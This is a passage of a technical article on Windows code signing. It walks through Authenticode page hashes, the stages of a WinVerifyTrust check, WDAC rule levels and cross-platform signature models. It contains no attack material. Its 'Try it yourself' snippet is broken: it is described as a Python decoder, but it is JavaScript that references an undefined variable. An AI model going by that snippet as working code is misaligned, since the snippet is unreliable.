&lt;p&gt;Authenticode supports an optional signed attribute, &lt;code&gt;SpcPeImagePageHashes2&lt;/code&gt;, with OID &lt;code&gt;1.3.6.1.4.1.311.2.3.2&lt;/code&gt; (SHA-256). It carries a sequence of &lt;code&gt;(RVA, hash)&lt;/code&gt; pairs, one hash per 4 KiB page of the PE image [@authenticode-pe-docx]. The older &lt;code&gt;1.3.6.1.4.1.311.2.3.1&lt;/code&gt; SHA-1 variant is effectively deprecated. Under &lt;a href=&quot;https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/&quot; rel=&quot;noopener&quot;&gt;Hypervisor-Protected Code Integrity (HVCI)&lt;/a&gt;, the page hashes are validated at demand-fault time: when the OS faults in a page from disk, HVCI hashes the page and compares it to the signed page-hash entry before mapping the page as executable. Whole-file integrity checking at load is &lt;em&gt;not&lt;/em&gt; the same as runtime integrity checking at fault; page hashes are what closes that gap.ARM64 Windows configurations have used 4 KiB native pages on the systems that ship Authenticode page-hash enforcement to date. The page-hash attribute encodes RVAs into the on-disk image, so any future move to 16 KiB or 64 KiB page granularity would require a corresponding spec revision.&lt;/p&gt;

An optional signed attribute (OID `1.3.6.1.4.1.311.2.3.2` for SHA-256) carrying a sequence of `(RVA, SHA-256)` pairs, one per 4 KiB page of the PE image. The hashes are checked at demand-fault time by HVCI / Code Integrity, not just at load time [@authenticode-pe-docx].
&lt;h3&gt;The whole nest, in one picture&lt;/h3&gt;

flowchart TD
    PE[&quot;PE file on disk&quot;]
    OH[&quot;Optional header&quot;]
    DD[&quot;DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY] (entry 4)&quot;]
    WC[&quot;WIN_CERTIFICATE record&lt;br /&gt;(dwLength, wRevision, wCertificateType, bCertificate[])&quot;]
    SD[&quot;PKCS#7 / CMS SignedData&quot;]
    Certs[&quot;certificates: X.509 chain&quot;]
    SI[&quot;SignerInfo&quot;]
    Sa[&quot;signedAttrs&quot;]
    SIDC[&quot;encapContentInfo: SpcIndirectDataContent&quot;]
    SPI[&quot;data: SpcPeImageData (SPC_PE_IMAGE_DATAOBJ)&quot;]
    MD[&quot;messageDigest: Authenticode hash&quot;]
    PH[&quot;SpcPeImagePageHashes2 (optional)&quot;]
    ED[&quot;encryptedDigest: signature bytes&quot;]
    Ua[&quot;unsignedAttrs&quot;]
    TST[&quot;RFC 3161 TimeStampToken&lt;br /&gt;(OID 1.2.840.113549.1.9.16.2.14)&quot;]
    PE --&amp;gt; OH
    OH --&amp;gt; DD
    DD --&amp;gt; WC
    WC --&amp;gt; SD
    SD --&amp;gt; Certs
    SD --&amp;gt; SI
    SI --&amp;gt; Sa
    Sa --&amp;gt; SIDC
    SIDC --&amp;gt; SPI
    SIDC --&amp;gt; MD
    SIDC --&amp;gt; PH
    SI --&amp;gt; ED
    SI --&amp;gt; Ua
    Ua --&amp;gt; TST
&lt;h3&gt;Try it yourself&lt;/h3&gt;
&lt;p&gt;{`&lt;/p&gt;
Decode the four nesting levels of an Authenticode signature.
Requires: pip install pefile asn1crypto
&lt;p&gt;const catalogSignedInboxFile = {
  Path: &quot;C:\\Windows\\System32\\ntoskrnl.exe&quot;,
  // PowerShell: (Get-AuthenticodeSignature ntoskrnl.exe).SignatureType -&amp;gt; Catalog
  SignatureType: &quot;Catalog&quot;,
  Status: &quot;Valid&quot;,
  CatalogFile: &quot;C:\\Windows\\System32\\CatRoot\\{F750E6C3-...}\\Microsoft-Windows-Client-Drivers-Package&lt;del&gt;31bf3856ad364e35&lt;/del&gt;amd64~~10.0.x.y.cat&quot;,
  SignerCertificate: { Subject: &quot;CN=Microsoft Windows Production PCA 2011, ...&quot; }
};&lt;/p&gt;
&lt;p&gt;console.log(&quot;Embedded signature:&quot;, embeddedSignedBinary.SignatureType, embeddedSignedBinary.CatalogFile);
console.log(&quot;Catalog signature: &quot;, catalogSignedInboxFile.SignatureType, catalogSignedInboxFile.CatalogFile);
`}&lt;/p&gt;
&lt;p&gt;Once you can sign a hash instead of a file, and once you can pin a signing event to a moment in time that outlives the certificate, the rest of the architecture stops being a sequence of crypto choices and starts being a sequence of &lt;em&gt;policy&lt;/em&gt; choices: which roots do we trust for ring 0, which file-publisher tuples does this enterprise authorise, which drivers does Microsoft deny by hash? To see those policy choices in operation, watch a single &lt;code&gt;WinVerifyTrust&lt;/code&gt; call end to end.&lt;/p&gt;
&lt;h2&gt;6. A modern WinVerifyTrust call, end to end&lt;/h2&gt;
&lt;p&gt;A user double-clicks a Microsoft-signed &lt;code&gt;.exe&lt;/code&gt; on Windows 11 24H2. HVCI is on, Smart App Control is on, an enterprise App Control policy is loaded. The shell calls &lt;code&gt;ShellExecute&lt;/code&gt;. Before the OS hands control to the new process, the kernel&apos;s code-integrity stack (&lt;code&gt;ci.dll&lt;/code&gt;) and user-mode &lt;code&gt;WinVerifyTrust&lt;/code&gt; between them answer the question &lt;em&gt;&quot;is this binary trusted?&quot;&lt;/em&gt; in roughly the following seven stages.&lt;/p&gt;
&lt;h3&gt;Stage 1: read the certificate table&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;ci.dll&lt;/code&gt; reads the optional header, finds &lt;code&gt;DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY]&lt;/code&gt;, walks the certificate-table region, and enumerates the &lt;code&gt;WIN_CERTIFICATE&lt;/code&gt; records. Multiple records may be present (e.g. a SHA-1 record for compatibility with Windows 7 verifiers, and a SHA-256 record for modern ones); the verifier picks the strongest record whose algorithm is allowed by current policy [@authenticode-pe-docx][@mslearn-pe-format].&lt;/p&gt;
&lt;h3&gt;Stage 2: decode the SignedData&lt;/h3&gt;
&lt;p&gt;For each candidate record with &lt;code&gt;wCertificateType == WIN_CERT_TYPE_PKCS_SIGNED_DATA&lt;/code&gt;, the verifier DER-decodes &lt;code&gt;bCertificate&lt;/code&gt; into a CMS &lt;code&gt;ContentInfo&lt;/code&gt;, then into a &lt;code&gt;SignedData&lt;/code&gt; structure [@rfc-5652]. The verifier reads &lt;code&gt;signerInfos&lt;/code&gt;, picks the signer (usually one), and extracts the signed and unsigned attributes.&lt;/p&gt;
&lt;h3&gt;Stage 3: verify the content type&lt;/h3&gt;
&lt;p&gt;The verifier confirms &lt;code&gt;encapContentInfo.eContentType == 1.3.6.1.4.1.311.2.1.4&lt;/code&gt; (&lt;code&gt;SpcIndirectDataContent&lt;/code&gt;), then decodes the inner structure and confirms &lt;code&gt;data.type == 1.3.6.1.4.1.311.2.1.15&lt;/code&gt; (&lt;code&gt;SPC_PE_IMAGE_DATAOBJ&lt;/code&gt;) [@authenticode-pe-docx]. The inner &lt;code&gt;messageDigest&lt;/code&gt; is the Authenticode hash this signature claims to cover; the &lt;code&gt;digestAlgorithm&lt;/code&gt; says how it was computed.&lt;/p&gt;
&lt;h3&gt;Stage 4: recompute the Authenticode hash&lt;/h3&gt;
&lt;p&gt;The verifier re-reads the PE file bytes, applies the four exclusions (&lt;code&gt;CheckSum&lt;/code&gt;, the SECURITY data-directory entry, the certificate-table bytes, and section-padding), hashes the remaining bytes with the claimed algorithm, and compares to &lt;code&gt;SpcIndirectDataContent.messageDigest&lt;/code&gt; [@authenticode-pe-docx]. If they differ, the signature is rejected.&lt;/p&gt;
&lt;h3&gt;Stage 5: validate page hashes under HVCI&lt;/h3&gt;
&lt;p&gt;If &lt;code&gt;SpcPeImagePageHashes2&lt;/code&gt; is attached and the running policy includes HVCI, the page-hash table is preserved across the verification call and consulted later by the secure kernel at demand-fault time [@authenticode-pe-docx]. The full-file Authenticode hash check is &lt;em&gt;necessary&lt;/em&gt; but not &lt;em&gt;sufficient&lt;/em&gt; for runtime integrity; pages on disk can be tampered after load by a kernel-level attacker who bypasses file-system protections. Page hashes are what closes that gap by re-checking each page at the moment it is mapped executable.&lt;/p&gt;
&lt;h3&gt;Stage 6: build the chain&lt;/h3&gt;
&lt;p&gt;The verifier collects the &lt;code&gt;certificates&lt;/code&gt; SET from the &lt;code&gt;SignedData&lt;/code&gt;, plus any AIA-fetched certificates needed to complete the chain, and tries to terminate the path at a trusted root. For kernel-mode loads, the legacy anchor is the &lt;code&gt;Microsoft Code Verification Root&lt;/code&gt;; for portal-signed drivers, the chain may instead terminate at one of the Microsoft Root Authority anchors. The KMCS policy page describes the Windows 10 1607+ kernel-mode anchors verbatim: &lt;em&gt;&quot;Microsoft Root Authority 2010, Microsoft Root Certificate Authority, Microsoft Root Authority&quot;&lt;/em&gt; with Secure Boot on [@mslearn-kmcs-policy]. For user-mode loads, the chain may terminate at any root in the system Trusted Root store; the enterprise&apos;s App Control policy narrows the trust further by referencing specific anchors at the RootCertificate / PcaCertificate rule level [@mslearn-select-types-of-rules].&lt;/p&gt;

The CryptoAPI function (`wintrust.dll!WinVerifyTrust`) that orchestrates the Authenticode verification pipeline: certificate-table read, SignedData decode, content-type check, Authenticode-hash recomputation, optional page-hash association, chain build, catalog fallback for unsigned PEs, and timestamp validation. It returns a success or specific error code; the caller (UAC, SmartScreen, `ci.dll`, WDAC) interprets the result against its own policy.

The Windows kernel-mode component that enforces the Kernel-Mode Code Signing policy on driver loads (Vista x64 and later [@wiki-kernel-patch-protection][@mslearn-kmcs-policy]) and, under HVCI, evaluates page hashes at fault time. `ci.dll` is the kernel-side caller of `WinVerifyTrust` semantics for driver loads.

The historical kernel-mode trust anchor whose name appears in Microsoft&apos;s KMCS documentation and whose intermediate cross-signed third-party code-signing CAs for pre-July-2015 drivers [@mslearn-kmcs-policy]. Microsoft Learn does not publish a single canonical page with the root&apos;s SHA-1 / SHA-256 thumbprint, validity dates, or issuance year; in practice the thumbprint is read by running `certutil -store` on a recent Windows system.
&lt;p&gt;The Microsoft Code Verification Root metadata absence is real: although the root is named in the KMCS policy document [@mslearn-kmcs-policy], no Microsoft Learn URL publishes its thumbprint or validity dates on a stable page. Practitioners should reference the root by name in policy and treat the actual thumbprint as something to be enumerated via &lt;code&gt;certutil -store&lt;/code&gt; on the running system rather than copy-pasted from a published document.&lt;/p&gt;
&lt;h3&gt;Stage 7: catalog fallback for unsigned PEs&lt;/h3&gt;
&lt;p&gt;If the PE has no embedded signature, the verifier computes the Authenticode hash and queries &lt;code&gt;CryptSvc&lt;/code&gt;: is this hash a member of any installed catalog under &lt;code&gt;%SystemRoot%\System32\CatRoot\&lt;/code&gt;? If yes, the verifier uses the catalog&apos;s signer as the effective signer for the PE [@mslearn-catalog-files][@mslearn-authenticode-driver]. Cross-system files installed by Windows Update (most drivers, most inbox executables) take this path.&lt;/p&gt;
&lt;h3&gt;Stage 8: validate the RFC 3161 timestamp&lt;/h3&gt;
&lt;p&gt;If the unsigned attributes carry a &lt;code&gt;TimeStampToken&lt;/code&gt; (OID &lt;code&gt;1.2.840.113549.1.9.16.2.14&lt;/code&gt;), the verifier decodes it, validates the TSA&apos;s chain, extracts &lt;code&gt;genTime&lt;/code&gt;, and confirms the signing certificate was valid at &lt;code&gt;genTime&lt;/code&gt; [@rfc-3161]. This is how a 2010 signature still verifies in 2026: not because the 2010 certificate is still valid, but because a TSA attested at signing time that the signature existed when the certificate was valid.&lt;/p&gt;
&lt;h3&gt;Stage 9: WDAC policy evaluation&lt;/h3&gt;
&lt;p&gt;With cryptographic verdicts in hand, the App Control policy engine evaluates the file against the active policy: does any allow rule match, does any deny rule match, including the default-on Vulnerable Driver Blocklist supplemental deny [@mslearn-recommended-driver-block-rules]? The matching rule -- by Hash, FileName, Publisher, FilePublisher, WHQL, WHQLPublisher, WHQLFilePublisher, LeafCertificate, PcaCertificate, or RootCertificate level [@mslearn-select-types-of-rules] -- decides the final outcome. Audit-mode hits produce event ID 3076; enforcement-mode blocks produce event ID 3077 [@mslearn-event-id-explanations].&lt;/p&gt;
&lt;h3&gt;Stage 10: legacy parser hardening, if opted in&lt;/h3&gt;
&lt;p&gt;A hardened environment will also have &lt;code&gt;EnableCertPaddingCheck=1&lt;/code&gt; set [@nvd-cve-2013-3900], enabling the strict parser that rejects the CVE-2013-3900 appended-data form. CISA added the CVE to its Known Exploited Vulnerabilities catalogue on 10 January 2022 with a federal due date of 10 July 2022 [@nvd-cve-2013-3900]; environments subject to federal compliance regimes treat this as mandatory.For practitioners: the registry key needs to be set in both &lt;code&gt;HKLM\Software\Microsoft\Cryptography\Wintrust\Config&lt;/code&gt; and the matching &lt;code&gt;Wow6432Node&lt;/code&gt; path, because the 32-bit and 64-bit &lt;code&gt;WinVerifyTrust&lt;/code&gt; code paths read separate copies. Setting only one and rebooting is one of the more common configuration mistakes in hardened-baseline rollouts.&lt;/p&gt;

flowchart TD
    Start[&quot;ShellExecute / driver load&quot;]
    CT[&quot;Read PE certificate table&quot;]
    Decode[&quot;Decode WIN_CERTIFICATE -&amp;gt; CMS SignedData&quot;]
    OID{&quot;eContentType =&lt;br /&gt;SpcIndirectDataContent?&quot;}
    Hash[&quot;Recompute Authenticode hash&quot;]
    HashOK{&quot;Hash matches&lt;br /&gt;messageDigest?&quot;}
    Chain[&quot;Build certificate chain&quot;]
    Cat[&quot;Catalog fallback?&lt;br /&gt;(if PE unsigned)&quot;]
    TS[&quot;Validate RFC 3161 token&quot;]
    PHash[&quot;Associate SpcPeImagePageHashes2&lt;br /&gt;(HVCI fault-time check)&quot;]
    Pol[&quot;WDAC policy evaluation&quot;]
    EPC[&quot;EnableCertPaddingCheck&lt;br /&gt;strict parser (if opt-in)&quot;]
    Done[&quot;LOAD or DENY&quot;]
    Start --&amp;gt; CT --&amp;gt; Decode --&amp;gt; OID
    OID --&amp;gt;|yes| Hash
    OID --&amp;gt;|no| Done
    Hash --&amp;gt; HashOK
    HashOK --&amp;gt;|yes| Chain
    HashOK --&amp;gt;|no| Done
    Chain --&amp;gt; Cat --&amp;gt; TS --&amp;gt; PHash --&amp;gt; EPC --&amp;gt; Pol --&amp;gt; Done
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; There is no separate certificate table per trust subsystem. UAC, SmartScreen, &lt;code&gt;ci.dll&lt;/code&gt;, WDAC, and the catalog-fallback path all read the &lt;em&gt;same&lt;/em&gt; bytes inside the same &lt;code&gt;WIN_CERTIFICATE&lt;/code&gt; record. What differs is which fields each consumer cares about and what policy each consumer overlays on top. Once you read the on-disk structures, every later trust decision is predictable.&lt;/p&gt;
&lt;/blockquote&gt;

`WinVerifyTrust` does not execute the binary. It does not appraise behaviour or reputation -- that is SmartScreen&apos;s job, downstream. It does not verify runtime page integrity -- HVCI does, in the secure kernel, at demand-fault time. It does not enforce the App Control policy -- the policy engine does, downstream. It does not check OCSP unless the caller opts in; chain-revocation behaviour is governed by `WinVerifyTrust` flags supplied by the caller. The function answers only the narrow cryptographic question: does the SignedData blob parse, does the recomputed hash match, does the chain build, and (if a token is attached) did the signing event happen inside the signing certificate&apos;s validity window?
&lt;p&gt;By the seventh stage of this pipeline, the answer to &quot;is this binary trusted?&quot; is no longer a yes-or-no statement about cryptography. It is a &lt;em&gt;composite&lt;/em&gt; of cryptographic verdicts (signature integrity, hash match, chain build, timestamp validity, page hashes) and &lt;em&gt;policy&lt;/em&gt; verdicts (allowed by WDAC, not on the blocklist). Authenticode supplies the inputs to a policy; WDAC writes the policy. Let us look at the policy language.&lt;/p&gt;
&lt;h2&gt;7. WDAC rule levels: Authenticode as policy input, not policy itself&lt;/h2&gt;
&lt;p&gt;App Control for Business (WDAC) is where the Authenticode primitives finally surface to administrators as policy. The &lt;code&gt;SignerInfo&lt;/code&gt;, the subject CN of the leaf certificate, the file&apos;s &lt;code&gt;OriginalFileName&lt;/code&gt; and &lt;code&gt;ProductVersion&lt;/code&gt; from the version resource, the page-hash table, even the choice of catalog signer -- all of them become inputs to a small rule language.&lt;/p&gt;
&lt;h3&gt;Rule levels: what Authenticode field each level consults&lt;/h3&gt;
&lt;p&gt;The verbatim rule-level catalogue from Microsoft Learn is [@mslearn-select-types-of-rules]:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Rule level&lt;/th&gt;
&lt;th&gt;Authenticode field(s) consulted&lt;/th&gt;
&lt;th&gt;Example use case&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Hash&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Authenticode hash of the file&lt;/td&gt;
&lt;td&gt;Pinning a single binary by exact bytes; brittle across patches.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;FileName&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;OriginalFileName&lt;/code&gt; from the PE version resource&lt;/td&gt;
&lt;td&gt;Convenience for inbox files; not cryptographic.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;FilePath&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Filesystem path&lt;/td&gt;
&lt;td&gt;UNC or absolute path; not cryptographic. Use sparingly.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SignedVersion&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Publisher + &lt;code&gt;OriginalFileName&lt;/code&gt; + version range&lt;/td&gt;
&lt;td&gt;Allow a publisher&apos;s binary at a given version or higher.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Publisher&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Issuing CA + leaf-cert subject CN&lt;/td&gt;
&lt;td&gt;Allow anything signed by a given vendor under a given CA.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;FilePublisher&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Publisher + &lt;code&gt;OriginalFileName&lt;/code&gt; + minimum &lt;code&gt;FileVersion&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Allow a specific binary from a specific vendor at min version.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;WHQL&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The Windows Hardware Quality Labs EKU&lt;/td&gt;
&lt;td&gt;Allow any WHQL-signed driver.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;WHQLPublisher&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;WHQL EKU + leaf-cert subject CN&lt;/td&gt;
&lt;td&gt;Allow WHQL drivers from a specific OEM.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;WHQLFilePublisher&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;WHQL EKU + &lt;code&gt;OriginalFileName&lt;/code&gt; + min &lt;code&gt;FileVersion&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The strictest driver rule.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;LeafCertificate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Leaf cert subject + issuer&lt;/td&gt;
&lt;td&gt;Pin to a specific signing cert.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PcaCertificate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The PCA (intermediate) cert&lt;/td&gt;
&lt;td&gt;Useful for &quot;anything Microsoft-signed&quot; without enumerating leaves.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RootCertificate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The root anchor&lt;/td&gt;
&lt;td&gt;Broadest; usually too coarse.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;Policy options&lt;/h3&gt;
&lt;p&gt;App Control policies are XML documents with a &lt;code&gt;&amp;lt;Rules&amp;gt;&lt;/code&gt; section that toggles broad behavioural options [@mslearn-select-types-of-rules]:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;0 Enabled:UMCI&lt;/code&gt;&lt;/strong&gt; -- &lt;em&gt;&quot;App Control policies restrict both kernel-mode and user-mode binaries. By default, only kernel-mode binaries are restricted. Enabling this rule option validates user mode executables and scripts&quot;&lt;/em&gt; [@mslearn-select-types-of-rules].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;2 Required:WHQL&lt;/code&gt;&lt;/strong&gt; -- &lt;em&gt;&quot;By default, kernel drivers that aren&apos;t Windows Hardware Quality Labs (WHQL) signed are allowed to run. Enabling this rule requires that every driver is WHQL signed and removes legacy driver support&quot;&lt;/em&gt; [@mslearn-select-types-of-rules].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;8 Required:EV Signers&lt;/code&gt;&lt;/strong&gt; -- documented but, per the same Microsoft Learn page, &lt;em&gt;&quot;This option isn&apos;t currently supported.&quot;&lt;/em&gt;The Required:EV Signers option is in every published rule-options table but never makes it past parsing today. The EV requirement is enforced contractually via the Hardware Developer Center submission gate, not via the rule option. Treat it as documentation of intent rather than runtime enforcement.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The Vulnerable Driver Blocklist is shipped as a &lt;em&gt;supplemental&lt;/em&gt; deny policy that overlays the user&apos;s primary policy. From Windows 11 22H2 onward it is default-on and automatically enforced under HVCI, Smart App Control, or S Mode [@mslearn-recommended-driver-block-rules]. Updates arrive quarterly. The blocklist is deliberately conservative: Microsoft&apos;s own documentation acknowledges &lt;em&gt;&quot;It&apos;s often necessary for us to hold back some blocks to avoid breaking existing functionality while we work with our partners who are engaging their users to update to patched versions&quot;&lt;/em&gt; [@mslearn-recommended-driver-block-rules].&lt;/p&gt;

The post-2024 rename of Windows Defender Application Control [@mslearn-appcontrol-root]; a code-integrity policy language that consumes Authenticode primitives (chain, leaf-cert subject, `OriginalFileName`, version, WHQL EKU, page-hash table, embedded-vs-catalog provenance) as inputs to administrator-authored allow and deny rules.

A WDAC rule level that allows or denies a binary if it is signed by a given Publisher (issuing CA + leaf-cert subject CN) **and** the PE&apos;s `OriginalFileName` matches **and** the PE&apos;s `FileVersion` is at or above a minimum. The tightest commonly used rule level; brittle across self-updating applications whose binaries change without warning [@mslearn-select-types-of-rules][@mslearn-use-code-signing].
&lt;h3&gt;A worked example&lt;/h3&gt;
&lt;p&gt;Generating a FilePublisher rule for a Microsoft-signed binary on PowerShell:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;New-CIPolicyRule -FilePath &quot;C:\Path\To\App.exe&quot; -Level FilePublisher
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;produces a &lt;code&gt;&amp;lt;FileRule&amp;gt;&lt;/code&gt; whose XML carries the issuing CA, the leaf-cert subject CN, the &lt;code&gt;OriginalFileName&lt;/code&gt; from the version resource, and a &lt;code&gt;MinimumFileVersion&lt;/code&gt; attribute. Every one of those fields is a direct read of the Authenticode &lt;code&gt;SignerInfo&lt;/code&gt; and the PE version resource; nothing in the rule generation step talks to Microsoft. The administrator owns the rule.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Microsoft&apos;s own guidance is verbatim: &lt;em&gt;&quot;Be aware of self-updating apps, as their app binaries may change without your knowledge&quot;&lt;/em&gt; [@mslearn-use-code-signing]. FilePublisher rules pin a minimum version; if a self-updating app rolls out a build with a different &lt;code&gt;OriginalFileName&lt;/code&gt; casing, or with &lt;code&gt;ProductVersion&lt;/code&gt; changes that some packagers reuse as &lt;code&gt;FileVersion&lt;/code&gt;, the rule silently stops matching. For self-updating apps, prefer &lt;code&gt;Publisher&lt;/code&gt; (CA + subject CN only) and accept the looser blast radius.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Operational tip: audit-mode hits write event ID 3076 to the &lt;em&gt;Microsoft-Windows-CodeIntegrity/Operational&lt;/em&gt; channel, enforcement-mode blocks write event ID 3077 [@mslearn-event-id-explanations]. Stage every policy in audit mode for at least one full patch cycle before flipping to enforcement; the 3076 stream is your inventory of what the rules would have denied.&lt;/p&gt;
&lt;p&gt;WDAC&apos;s vocabulary makes one structural choice explicit that the article has been implicit about until now: trust is &lt;em&gt;administrator-authored&lt;/em&gt;, not &lt;em&gt;vendor-authored&lt;/em&gt;. The cryptographic identity is supplied by the same Authenticode primitives we just dissected; the policy is whatever the organisation writes. Before we look at the limits of what this stack can prove, one quick detour into how other operating systems have approached the same problem.&lt;/p&gt;
&lt;h2&gt;8. Catalog-vs-embedded across operating systems&lt;/h2&gt;
&lt;p&gt;Windows is unusual in two specific ways: it stores the catalog on the endpoint, and it refreshes the catalog through the OS update channel. No other mainstream OS does both.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;System&lt;/th&gt;
&lt;th&gt;Signature carrier&lt;/th&gt;
&lt;th&gt;Catalog model?&lt;/th&gt;
&lt;th&gt;Transparency log?&lt;/th&gt;
&lt;th&gt;Counter-signing for longevity&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Windows (Authenticode)&lt;/td&gt;
&lt;td&gt;PKCS#7 / CMS SignedData inside &lt;code&gt;WIN_CERTIFICATE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Yes -- &lt;code&gt;.cat&lt;/code&gt; files in &lt;code&gt;CatRoot&lt;/code&gt;, refreshed by Windows Update [@mslearn-catalog-files]&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes -- RFC 3161 token as unsigned attribute [@rfc-3161]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;macOS&lt;/td&gt;
&lt;td&gt;Apple-issued code signature + Notarization ticket; ticket stapled to artefact or fetched online [@apple-notarization]&lt;/td&gt;
&lt;td&gt;No -- Notarization ticket attests, but there is no on-disk &quot;list of hashes&quot; structure&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Stapled ticket effectively gives a signing-time guarantee; no third-party TSA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux IMA / EVM&lt;/td&gt;
&lt;td&gt;Extended-attribute signatures on individual files [@linux-ima-wiki]&lt;/td&gt;
&lt;td&gt;No -- per-file &lt;code&gt;security.ima&lt;/code&gt; xattr&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Out of scope; appraised against locally trusted keyring&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Android&lt;/td&gt;
&lt;td&gt;APK Signature Scheme v3 (block inside the APK) [@android-apk-v3]&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No (signatures live inside the APK)&lt;/td&gt;
&lt;td&gt;Proof-of-rotation chain inside the v3 block lets a publisher rotate keys without re-signing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;sigstore (OCI artefacts)&lt;/td&gt;
&lt;td&gt;Detached signature in OCI registry; short-lived Fulcio cert [@sigstore-overview]&lt;/td&gt;
&lt;td&gt;Closest analogue -- detached signature can cover blobs [@cosign-blobs]&lt;/td&gt;
&lt;td&gt;Yes -- Rekor [@rekor-github]&lt;/td&gt;
&lt;td&gt;TSA-style entries possible via Rekor&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The closest design analogue to the Windows catalog model is sigstore. Both decouple the signature from the artefact, and both let a single signing event cover many files. The difference is &lt;em&gt;where the detached signature lives&lt;/em&gt;. Windows puts the &lt;code&gt;.cat&lt;/code&gt; on the endpoint and refreshes the catalog through the OS update channel; sigstore stores the detached signature in an OCI registry and writes an attestation to a Rekor transparency log. That difference is also what gives Windows the offline-stale-catalog problem (a disconnected endpoint cannot freshness-check &lt;code&gt;CatRoot&lt;/code&gt;) and gives sigstore the offline-no-Rekor problem (a disconnected verifier cannot consult the log).Readers who want the broader cross-platform identity comparison should consult the earlier &lt;a href=&quot;https://paragmali.com/blog/windows-app-identity-33-year-reinvention/&quot; rel=&quot;noopener&quot;&gt;&lt;em&gt;App Identity in Windows&lt;/em&gt;&lt;/a&gt; article in this series, which compares Apple&apos;s package identity, Android&apos;s app IDs, and Linux&apos;s lack of a unified equivalent in more depth. The present article only summarises the &lt;em&gt;signature-carrier&lt;/em&gt; side of the comparison.&lt;/p&gt;
&lt;p&gt;Whether Microsoft puts the catalog on the endpoint or in an OCI registry is a deployment choice. The &lt;em&gt;limit&lt;/em&gt; of what any signature -- catalog, embedded, sigstore-anchored, Apple-notarised -- can prove is a deeper, more uncomfortable claim. We turn to that next.&lt;/p&gt;
&lt;h2&gt;9. What signatures cannot prove&lt;/h2&gt;
&lt;p&gt;Stuxnet did not break Authenticode. It walked through it. The same is true of Flame, of ShadowHammer, and of the Bitwarden CLI npm hijack. Every named incident on the modern Windows code-signing timeline is an instance of the same structural lower bound: signatures prove &lt;em&gt;who&lt;/em&gt;, not &lt;em&gt;what&lt;/em&gt;. The Windows code-identity stack has spent fourteen years adding layers that narrow the consequences of that bound. None of them eliminate it.&lt;/p&gt;
&lt;p&gt;Four limits are worth naming explicitly.&lt;/p&gt;
&lt;h3&gt;L1. Provenance is not safety&lt;/h3&gt;
